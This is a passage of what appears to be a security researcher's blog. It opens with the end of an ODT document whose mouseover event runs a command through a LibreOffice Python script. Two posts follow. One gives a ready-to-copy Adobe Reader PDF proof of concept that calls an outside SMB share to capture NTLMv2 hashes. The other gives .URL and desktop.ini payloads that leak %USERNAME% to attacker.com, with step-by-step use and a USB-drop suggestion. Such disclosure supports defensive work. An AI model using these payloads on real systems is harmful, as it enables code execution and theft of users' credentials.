    <text:sequence-decl text:display-outline-level="0" text:name="Illustration"/>
    <text:sequence-decl text:display-outline-level="0" text:name="Table"/>
    <text:sequence-decl text:display-outline-level="0" text:name="Text"/>
    <text:sequence-decl text:display-outline-level="0" text:name="Drawing"/>
    <text:sequence-decl text:display-outline-level="0" text:name="Figure"/>
   </text:sequence-decls>
   <text:p text:style-name="Standard"><text:a xlink:type="simple" xlink:href="http://test/" text:style-name="Internet_20_link" text:visited-style-name="Visited_20_Internet_20_Link"><office:event-listeners><script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:../../../program/python-core-3.5.5/lib/pydoc.py$tempfilepager(1, calc.exe )?language=Python&amp;location=share" xlink:type="simple"/></office:event-listeners><text:span text:style-name="T1">move your mouse over the text</text:span></text:a></text:p>
  </office:text>
 </office:body>
</office:document>




Saturday, January 26, 2019

Adobe Reader - PDF callback via XSLT stylesheet in XFA


I have seen on twitter that there is use for another PDF callback Proof-of-Concept in Adobe Reader.
Last year a PDF file called "BadPDF" was created, which allowed to trigger a callback to an attacker controlled SMB server and leak the users NTMLv2 hash. The used technique was fixed by Adobe (CVE-2018-4993).

As you are reading this blog post you can already guess that I discovered another callback mechanism. Sadly I have no cool name for my PDF... ;)
Spoiler alert: It is not perfect but good enough for now.

Tested Version: Adobe Acrobat Reader DC 19.010.20069
OS: Windows


The callback: xml-stylesheet in XFA structure


Once again the XML Form Architecture (XFA) structure helped.
XFA is a XML structure inside a PDF, which defines forms and more. This time it is not even necessary to use a feature of the XFA form but instead a xml-stylesheet does the trick.
Adobe Reader actually detects any http/https URLs specified in a xml-stylesheet element and asks for the user's confirmation. This dialog can be simply bypassed by using UNC paths.

I think the PoC should explain how the leak works (once again I used one of the many PDF templates of Ange Albertini)


!Notes about the PoC!


I could not find a way to actually get the specified XSLT sheet to be properly loaded. After the request is send (either via SMB or WebDAV) Adobe Reader always displays an "Access Denied" error.

Proof-of-Concept (Copy & Paste ready)


% a PDF file using an XFA
% most whitespace can be removed (truncated to 570 bytes or so...)
% Ange Albertini BSD Licence 2012

%PDF-1. % can be truncated to %PDF- 

1 0 obj <<>> 
stream
<?xml version="1.0" ?>
<?xml-stylesheet href="\\example.com\share\whatever.xslt" type="text/xsl" ?>
endstream
endobj
trailer <<
    /Root <<
        
        /AcroForm <<
            /Fields [<<
                /T (0)
                /Kids [<<
                    /Subtype /Widget
                    /Rect []
                    /T ()
                    /FT /Btn
                >>]
            >>]
            /XFA 1 0 R
        >>
        /Pages <<>>
    >>
>>

SMB hashes


It is also possible to use this callback to capture the NTMLv2 hash via the Responder tool from SpiderLabs. The following screenshot shows the output of the tool as soon as the PDF is opened by Adobe Reader:



Mitigation option


To prevent the callback from happening it is necessary to enable the "Protected View" in Adobe Reader. This option it is available in Edit -> Settings -> Security (Advanced) -> Protected View: Enable for all files. In case this setting is enabled Adobe Reader will freeze when the PoC is opened but no request is send. Any "normal" PDF will just open fine.

Monday, August 20, 2018

Leaking Environment Variables in Windows Explorer via .URL or desktop.ini files


I recently discovered an interesting behavior how explorer.exe handles defined icon resources for certain file types

IconFile property


The .URL file format as well as desktop.ini allow to define icons. In case of .URL files, this icon will be used for the .URL file itself - desktop.ini defines the icon of the folder it is placed in.
I will only describe the behavior of .URL files but for desktop.ini the behavior is almost identical.
Basically all you need to do is to create a .URL file either in a local folder or maybe on an USB stick.
The important property to specify is the IconFile property. Not only does it allow to specify remote icons on a SMB share but additionally it allows to use environment variables.
That means  as soon as explorer.exe views a folder, which contains a .URL file, it will lookup any specified environment variable like %PATH% or %USERNAME% before sending the actual request, therefore leaking its content to the attacker controlled server.
Note:
In case the specified remote server (eg. attacker.com) has no open SMB ports Windows will fallback to Webdav, which is using port 80. But this fallback mechanism does not always work properly:

filename:
leak.URL

Content:
[InternetShortcut]
URL=whatever
WorkingDirectory=whatever
IconFile=\\attacker.com\webdav\%USERNAME%.icon
IconIndex=1


In case you want to leak environment informations, which are compatible with DNS, you can use the following structure:

[InternetShortcut]
URL=whatever
WorkingDirectory=whatever
IconFile=\\%USERNAME%.attacker.com\webdav\whatever.icon
IconIndex=1

In case you want to try this behavior yourself:

  1. Create leak.URL in any folder
  2. Use the payloads described above and use your own domain for the IconFile property
  3. Open the folder, which contains the created .URL file in step 1, with windows explorer.
  4. Wait for explorer to send the request
// this behavior was tested on Windows 10 - but should work on any Windows system as .URL was introduced in Windows 95 

In case you are wondering: If SMB is available you can use Spiderlabs Responder tool to listen for hashes. 
The reason for the support of environment variable is that in case you want to use default icons installed by Windows, you can use the environment variables to specify the Windows directory (as is it not ensured that Windows is installed on C:\windows)
Regarding the support for remote icons - I think this is just an oversight



Regarding the use cases: Maybe this could be used for red teaming scenarios. As an example, you could drop USB sticks in front of a company and each of them contain a .URL file in the root directory. As soon as an employee is viewing the USB stick a request will be triggered and therefore confirming that it was used on a company PC (without the requirement of any malware/exploit/modified usb firmware)